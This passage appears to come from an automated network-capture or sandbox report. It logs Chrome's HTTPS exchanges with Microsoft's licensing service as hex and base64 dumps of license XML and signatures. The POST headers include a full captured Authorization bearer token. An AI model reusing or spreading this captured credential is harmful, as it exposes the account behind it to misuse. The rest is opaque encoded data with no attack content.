Data Ascii: HVsdXM+b1ZTSlhJdERzYUFJZnd5UjliaGgvWlNwcENBTytpbjlQT0xXZEMyL1RRb2RnZUhaemJkQnZ
4SnZLaHBicnE2WlAwRnNTRWxMd1JvTEFtdjd6SXVWdzNWYjd0ZlF0NWJqQ0RIUkFHOWZlc05sWUtWM3lieU5ySHl6Z
2xmWlBSQjVVSlp3MzJ5aTAzelFhK0xMYTA1ZmpzNmpvRW1sSGM1QnJHUXJHcmJOTUJhaHo0Y211eEtDNC9kaEVi

2022-07-01 09:01:32 UTC 2439 IN Data Raw: 75 5a 79 42 43 61 57 35 6b 61 57 35 6e 58 31 52 35 63 47 55 39 49 6b 31 68 59 32 68 70 62 6d 55 69 50 6a 
78 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 56 32 6c 75 5a 
47 39 33 63 31 4e 76 64 57 35 6b 55 6d 56 6a 62 33 4a 6b 5a 58 4a 66 4f 48 64 6c 61 33 6c 69 4d 32 51 34 59 6d 4a 33 
5a 54 77 76 51 58 4e 7a 62 32 4e 70 59 58 52 6c 5a 46 42 47 54 6e 4d 2b 50 45 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 
68 62 46 42 6c 63 6d 6c 76 5a 44 34 78 4d 6a 6b 32 4d 44 41 38 4c 30 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 
42 6c 63 6d 6c 76 5a 44 34 38 4c 30 4a 70 62 6d 52 70 62 6d 63 2b 50 45 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 49 
46 52 35 63 47 55 39 49 6b 78 6c 59 58 4e 6c 49 69 42 4d 61 57 4e 6c 62 6e 
Data Ascii: uZyBCaW5kaW5nX1R5cGU9Ik1hY2hpbmUiPjxBc3NvY2lhdGVkUEZOcz5NaWNyb3NvZnQuV2luZG93c
1NvdW5kUmVjb3JkZXJfOHdla3liM2Q4YmJ3ZTwvQXNzb2NpYXRlZFBGTnM+PExlYXNlUmVuZXdhbFBlcmlvZD4xMjk
2MDA8L0xlYXNlUmVuZXdhbFBlcmlvZD48L0JpbmRpbmc+PExpY2Vuc2VJbmZvIFR5cGU9IkxlYXNlIiBMaWNlbn

2022-07-01 09:01:32 UTC 2440 IN Data Raw: 77 57 6b 52 52 65 45 6c 73 4d 48 4e 4a 62 58 52 77 59 6d 31 52 61 55 39 70 53 6b 52 69 4d 6a 55 77 57 6c 
63 31 4d 45 6c 70 64 32 6c 6a 52 30 5a 71 59 54 4a 47 62 6c 70 59 54 57 6c 50 62 48 51 33 53 57 35 43 61 46 6b 79 64 
47 68 61 4d 6c 5a 4b 57 6b 64 57 64 57 52 48 62 47 31 68 56 31 5a 35 53 57 70 76 61 55 31 48 54 54 52 5a 4d 6c 6c 36 
54 57 70 6a 64 45 39 58 55 58 68 4f 65 54 46 71 57 54 4a 53 62 45 78 55 52 54 52 5a 56 31 6c 30 57 6b 64 61 62 55 35 
48 57 58 6c 4e 52 45 45 7a 54 55 64 56 4d 55 6c 70 64 32 6c 6a 52 30 5a 71 59 54 4a 47 62 6c 70 57 55 6a 56 6a 52 31 
56 70 54 32 6c 4b 64 47 4d 79 62 44 52 4a 61 58 64 70 59 30 68 4b 64 6c 70 49 56 6d 70 6b 52 55 5a 72 57 6b 55 35 64 
57 4e 35 53 54 5a 58 4d 54 42 7a 53 57 35 43 65 57 49 79 55 6a 46 5a 4d 31 
Data Ascii: wWkRReElsMHNJbXRwYm1RaU9pSkRiMjUwWlc1MElpd2ljR0ZqYTJGblpYTWlPbHQ3SW5CaFkydGhaM
lZKWkdWdWRHbG1hV1Z5SWpvaU1HTTRZMll6TWpjdE9XUXhOeTFqWTJSbExURTRZV1l0WkdabU5HWXlNR
EEzTUdVMUlpd2ljR0ZqYTJGblpWUjVjR1VpT2lKdGMybDRJaXdpY0hKdlpIVmpkRUZrWkU5dWN5STZXMTBzSW5CeWI
yUjFZM1

2022-07-01 09:01:32 UTC 2441 IN Data Raw: 6a 61 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 48 68 74 62 47 35 7a 50 53 4a 6f 64 48 52 77 4f 69 38 
76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 49 6a 
34 38 55 32 6c 6e 62 6d 56 6b 53 57 35 6d 62 7a 34 38 51 32 46 75 62 32 35 70 59 32 46 73 61 58 70 68 64 47 6c 76 62 
6b 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 
64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 54 41 76 65 47 31 73 4c 57 56 34 59 79 31 6a 4d 54 52 75 49 79 49 
67 4c 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 
30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 
Data Ascii: jaz48U2lnbmF0dXJlIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIj48U
2lnbmVkSW5mbz48Q2Fub25pY2FsaXphdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDE
vMTAveG1sLWV4Yy1jMTRuIyIgLz48U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcm

2022-07-01 09:01:32 UTC 2442 IN Data Raw: 68 65 55 5a 50 59 6c 64 68 62 48 6c 74 59 7a 46 43 4e 55 35 54 4e 32 6c 42 64 6b 52 4f 64 56 64 59 4e 33 6c 
4b 5a 47 52 4b 64 46 4a 57 62 33 6c 69 4e 30 39 54 5a 33 6c 6b 63 58 42 6e 64 6b 70 4d 65 6b 5a 51 55 6e 68 36 4d 30 
74 53 56 6a 4e 4f 55 56 42 44 55 45 59 34 4d 33 52 69 5a 45 74 48 54 6d 70 6a 5a 7a 42 4d 5a 46 59 77 55 6c 64 50 53 
6c 4e 35 55 31 4e 56 59 33 5a 31 5a 6c 42 6b 55 6c 4e 53 55 30 46 54 5a 7a 30 39 50 43 39 54 61 57 64 75 59 58 52 31 
63 6d 56 57 59 57 78 31 5a 54 34 38 53 32 56 35 53 57 35 6d 62 79 42 4a 5a 44 30 69 58 7a 42 6d 4f 44 46 69 4d 6a 52 
6d 4c 57 4a 6a 4e 44 41 74 4d 6a 63 78 4d 69 30 77 5a 44 56 6b 4c 57 55 33 59 7a 45 77 4d 44 67 31 59 7a 4d 7a 4d 43 
49 2b 50 45 74 6c 65 56 5a 68 62 48 56 6c 50 6a 78 53 55 30 46 4c 5a 58 
Data Ascii: heUZPYldhbHltYzFCNU5TN2lBdkROdVdYN3lKZGRKdFJWb3liN09TZ3lkcXBndkpMekZQUnh6M0tSV
jNOUVBDUEY4M3RiZEtHTmpjZzBMZFYwUldPSlN5U1NVY3Z1ZlBkUlNSU0FTZz09PC9TaWduYXR1cmVWY
Wx1ZT48S2V5SW5mbyBJZD0iXzBmODFiMjRmLWJjNDAtMjcxMi0wZDVkLWU3YzEwMDg1YzMzMCI+PEtleVZhbHVlPjx
SU0FLZX

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

144 192.168.2.5 49911 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:32 UTC 2443 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.28
Content-Length: 4265
Host: licensing.mp.microsoft.com

2022-07-01 09:01:32 UTC 2445 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:32 UTC 2449 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:32 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 7913
MS-CorrelationId: 2da8ee2a-5360-491b-956a-c11ca742c129
MS-RequestId: 95c9733a-7ddb-4c67-9a74-dce3a80ae36b
MS-CV: UznHpAHqV0GMBdER.28.1530940243.423900034.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-ftjqh

2022-07-01 09:01:32 UTC 2449 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 62 33 34 62 31 39 37 63 2d 63 30 65 64 2d 62 
66 31 32 2d 63 39 62 62 2d 34 34 65 38 38 33 63 36 36 61 39 64 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"b34b197c-c0ed-bf12-c9bb-44e883c66a9d"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:32 UTC 2450 IN Data Raw: 6a 45 34 4c 6a 4d 32 4e 44 41 79 4e 54 5a 61 50 43 39 43 5a 57 64 70 62 6b 52 68 64 47 55 2b 50 43 39 4d 
61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 7a 34 38 51 33 56 7a 64 47 39 74 55 47 39 73 61 57 4e 70 5a 58 4d 2b 5a 58 6c 
4b 63 31 70 58 5a 47 68 5a 4d 32 78 52 59 32 30 35 61 32 52 58 54 6a 42 54 56 31 46 70 54 32 6c 4a 65 56 70 71 56 58 
68 4e 52 31 4a 71 54 56 4d 77 4d 46 6c 71 57 58 6c 4d 56 46 46 34 54 57 70 6e 64 45 39 55 56 54 4a 61 55 7a 46 6f 54 
6e 70 4f 61 30 31 71 56 58 70 5a 4d 6b 30 31 57 54 4a 4a 61 57 5a 52 50 54 30 38 4c 30 4e 31 63 33 52 76 62 56 42 76 
62 47 6c 6a 61 57 56 7a 50 6a 78 54 55 45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 61 7a 35 47 51 55 46 42 51 55 74 
6e 51 55 46 42 52 45 70 42 51 55 46 42 51 32 64 42 51 55 46 42 56 55 46 42 
Data Ascii: jE4LjM2NDAyNTZaPC9CZWdpbkRhdGU+PC9MaWNlbnNlSW5mbz48Q3VzdG9tUG9saWNpZXM+ZXlKc1p
XZGhZM2xRY205a2RXTjBTV1FpT2lJeVpqVXhNR1JqTVMwMFlqWXlMVFF4TWpndE9UVTJaUzFoTnpOa01
qVXpZMk01WTJJaWZRPT08L0N1c3RvbVBvbGljaWVzPjxTUExpY2Vuc2VCbG9jaz5GQUFBQUtnQUFBREp
BQUFBQ2dBQUFBVUFB

2022-07-01 09:01:32 UTC 2451 IN Data Raw: 32 5a 76 63 6d 31 7a 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 30 67 51 57 78 6e 62 33 4a 70 64 47 68 74 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 77 4c 7a 41 35 4c 33 68 
74 62 47 52 7a 61 57 63 6a 5a 57 35 32 5a 57 78 76 63 47 56 6b 4c 58 4e 70 5a 32 35 68 64 48 56 79 5a 53 49 67 4c 7a 
34 38 4c 31 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 45 52 70 5a 32 56 7a 64 45 31 6c 64 47 68 76 5a 43 42 42 62 
47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 
4d 44 45 76 4d 44 51 76 65 47 31 73 5a 57 35 6a 49 33 4e 6f 59 54 49 31 4e 69 49 67 4c 7a 34 38 52 47 6c 6e 5a 58 4e 
30 56 6d 46 73 64 57 55 2b 54 45 6c 77 4d 46 68 73 4b 31 55 35 51 6b 31 58 
Data Ascii: 2Zvcm1zPjxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGR
zaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIgLz48L1RyYW5zZm9ybXM+PERpZ2VzdE1ldGhvZCBBbGdvcml0aG09Imh0d
HA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZW5jI3NoYTI1NiIgLz48RGlnZXN0VmFsdWU+TElwMFhsK1U5Qk1X

Timestamp
kBytes
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2022-07-01 09:01:32 UTC 2452 IN Data Raw: 32 56 49 57 6e 70 69 5a 45 4a 32 65 45 70 32 53 32 68 77 59 6e 4a 78 4e 6c 70 51 4d 45 5a 7a 55 30 56 73 
54 48 64 53 62 30 78 42 62 58 59 33 65 6b 6c 31 56 6e 63 7a 56 6d 49 33 64 47 5a 52 64 44 56 69 61 6b 4e 45 53 46 4a 
42 52 7a 6c 6d 5a 58 4e 4f 62 46 6c 4c 56 6a 4e 35 59 6e 6c 4f 63 6b 68 35 65 6d 64 73 5a 6c 70 51 55 6b 49 31 56 55 7
0 61 64 7a 4d 79 65 57 6b 77 4d 33 70 52 59 53 74 4d 54 47 45 77 4e 57 5a 71 63 7a 5a 71 62 30 56 74 62 45 68 6a 4e 
55 4a 79 52 31 46 79 52 33 4a 69 54 6b 31 43 59 57 68 36 4e 47 4e 74 64 58 68 4c 51 7a 51 76 5a 47 68 46 59 6a 64 4b 
57 6b 5a 56 61 32 4d 77 54 56 4a 6f 63 79 39 4e 4d 31 5a 6c 4e 54 45 78 53 46 46 6d 53 33 56 48 4b 7a 6b 79 5a 7a 46 
50 5a 6d 5a 4b 5a 46 4a 7a 51 56 42 36 56 31 4a 6b 63 32 74 51 62 30 34 7a 
Data Ascii: 2VIWnpiZEJ2eEp2S2hwYnJxNlpQMEZzU0VsTHdSb0xBbXY3ekl1VnczVmI3dGZRdDViakNESFJBRzl
mZXNObFlLVjN5YnlOckh5emdsZlpQUkI1VUpadzMyeWkwM3pRYStMTGEwNWZqczZqb0VtbEhjNUJyR1FyR3JiTk1CY
Wh6NGNtdXhLQzQvZGhFYjdKWkZVa2MwTVJocy9NM1ZlNTExSFFmS3VHKzkyZzFPZmZKZFJzQVB6V1Jkc2tQb04z

2022-07-01 09:01:32 UTC 2453 IN Data Raw: 75 57 47 4a 76 65 45 46 77 63 46 38 34 64 32 56 72 65 57 49 7a 5a 44 68 69 59 6e 64 6c 50 43 39 42 63 33 
4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 34 38 54 47 56 68 63 32 56 53 5a 57 35 6c 64 32 46 73 55 47 56 79 61 
57 39 6b 50 6a 45 79 4f 54 59 77 4d 44 77 76 54 47 56 68 63 32 56 53 5a 57 35 6c 64 32 46 73 55 47 56 79 61 57 39 6b 
50 6a 77 76 51 6d 6c 75 5a 47 6c 75 5a 7a 34 38 54 47 6c 6a 5a 57 35 7a 5a 55 6c 75 5a 6d 38 67 56 48 6c 77 5a 54 30 
69 54 47 56 68 63 32 55 69 49 45 78 70 59 32 56 75 63 32 56 56 63 32 46 6e 5a 54 30 69 54 32 35 73 61 57 35 6c 49 69 
42 4d 61 57 4e 6c 62 6e 4e 6c 51 32 46 30 5a 57 64 76 63 6e 6b 39 49 6c 4a 6c 64 47 46 70 62 43 49 2b 50 45 6c 7a 63 
33 56 6c 5a 45 52 68 64 47 55 2b 4d 6a 41 79 4d 69 30 77 4e 79 30 77 4d 56 
Data Ascii: uWGJveEFwcF84d2VreWIzZDhiYndlPC9Bc3NvY2lhdGVkUEZOcz48TGVhc2VSZW5ld2FsUGVyaW9kP
jEyOTYwMDwvTGVhc2VSZW5ld2FsUGVyaW9kPjwvQmluZGluZz48TGljZW5zZUluZm8gVHlwZT0iTGVhc2UiIExpY2V
uc2VVc2FnZT0iT25saW5lIiBMaWNlbnNlQ2F0ZWdvcnk9IlJldGFpbCI+PElzc3VlZERhdGU+MjAyMi0wNy0wMV

2022-07-01 09:01:32 UTC 2454 IN Data Raw: 6b 52 32 78 74 59 56 64 57 65 55 6c 71 62 32 6c 4f 61 6c 6b 77 57 56 64 46 65 45 34 79 52 58 52 4e 62 56 46 
35 54 6c 4d 77 64 30 39 45 53 58 70 4d 56 45 31 36 54 56 52 56 64 45 31 36 59 33 64 50 52 31 70 73 54 56 52 5a 65 45 
35 45 5a 47 68 4a 61 58 64 70 59 30 64 47 61 6d 45 79 52 6d 35 61 56 6c 49 31 59 30 64 56 61 55 39 70 53 6e 52 6a 4d 
6d 77 30 53 57 6c 33 61 57 4e 49 53 6e 5a 61 53 46 5a 71 5a 45 56 47 61 31 70 46 4f 58 56 6a 65 55 6b 32 56 7a 45 77 
63 30 6c 75 51 6e 6c 69 4d 6c 49 78 57 54 4e 53 53 6c 70 44 53 54 5a 4a 61 6d 78 59 56 32 74 53 54 31 45 78 53 6b 64 
54 61 30 70 46 54 30 4e 4a 63 30 6c 75 54 6e 4a 6b 56 57 78 72 53 57 70 76 61 55 31 45 51 58 68 4e 51 30 6f 35 57 46 
4e 33 61 57 4e 48 4f 58 4e 69 52 55 59 77 53 57 70 76 61 55 31 71 51 58 
Data Ascii: kR2xtYVdWeUlqb2lOalkwWVdFeE4yRXRNbVF5TlMwd09ESXpMVE16TVRVdE16Y3dPR1psTVRZeE5EZ
GhJaXdpY0dGamEyRm5aVlI1Y0dVaU9pSnRjMmw0SWl3aWNISnZaSFZqZEVGa1pFOXVjeUk2VzEwc0luQnliMlIxWTN
SSlpDSTZJamxYV2tST1ExSkdTa0pFT0NJc0luTnJkVWxrSWpvaU1EQXhNQ0o5WFN3aWNHOXNiRUYwSWpvaU1qQX

2022-07-01 09:01:32 UTC 2455 IN Data Raw: 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 7a 45 
77 4c 33 68 74 62 43 31 6c 65 47 4d 74 59 7a 45 30 62 69 4d 69 49 43 38 2b 50 46 4e 70 5a 32 35 68 64 48 56 79 5a 55 
31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 
7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 44 51 76 65 47 31 73 5a 48 4e 70 5a 79 31 74 62 33 4a 6c 49 33 4a 7a 
59 53 31 7a 61 47 45 79 4e 54 59 69 49 43 38 2b 50 46 4a 6c 5a 6d 56 79 5a 57 35 6a 5a 53 42 56 55 6b 6b 39 49 69 49 
2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 53 42 42 62 47 64 76 63 6d 
6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 
Data Ascii: tPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiIC8+PFNpZ25hdHVyZU1ld
GhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZHNpZy1tb3JlI3JzYS1zaGEyNTYiIC8
+PFJlZmVyZW5jZSBVUkk9IiI+PFRyYW5zZm9ybXM+PFRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudz

2022-07-01 09:01:32 UTC 2456 IN Data Raw: 36 4e 6e 63 39 50 54 77 76 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 56 6d 46 73 64 57 55 2b 50 45 74 6c 65 55 
6c 75 5a 6d 38 67 53 57 51 39 49 6c 38 77 5a 6a 67 78 59 6a 49 30 5a 69 31 69 59 7a 51 77 4c 54 49 33 4d 54 49 74 4d 
47 51 31 5a 43 31 6c 4e 32 4d 78 4d 44 41 34 4e 57 4d 7a 4d 7a 41 69 50 6a 78 4c 5a 58 6c 57 59 57 78 31 5a 54 34 38 
55 6c 4e 42 53 32 56 35 56 6d 46 73 64 57 55 2b 50 45 31 76 5a 48 56 73 64 58 4d 2b 62 31 5a 54 53 6c 68 4a 64 45 52 
7a 59 55 46 4a 5a 6e 64 35 55 6a 6c 69 61 47 67 76 57 6c 4e 77 63 45 4e 42 54 79 74 70 62 6a 6c 51 54 30 78 58 5a 45 
4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 65 6d 4a 6b 51 6e 5a 34 53 6e 5a 4c 61 48 42 69 63 6e 45 32 57 6c 41 77 52 
6e 4e 54 52 57 78 4d 64 31 4a 76 54 45 46 74 64 6a 64 36 53 58 56 57 64 7a 
Data Ascii: 6Nnc9PTwvU2lnbmF0dXJlVmFsdWU+PEtleUluZm8gSWQ9Il8wZjgxYjI0Zi1iYzQwLTI3MTItMGQ1Z
C1lN2MxMDA4NWMzMzAiPjxLZXlWYWx1ZT48UlNBS2V5VmFsdWU+PE1vZHVsdXM+b1ZTSlhJdERzYUFJZnd5UjliaGg
vWlNwcENBTytpbjlQT0xXZEMyL1RRb2RnZUhaemJkQnZ4SnZLaHBicnE2WlAwRnNTRWxMd1JvTEFtdjd6SXVWdz

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

145 192.168.2.5 49912 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:32 UTC 2457 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
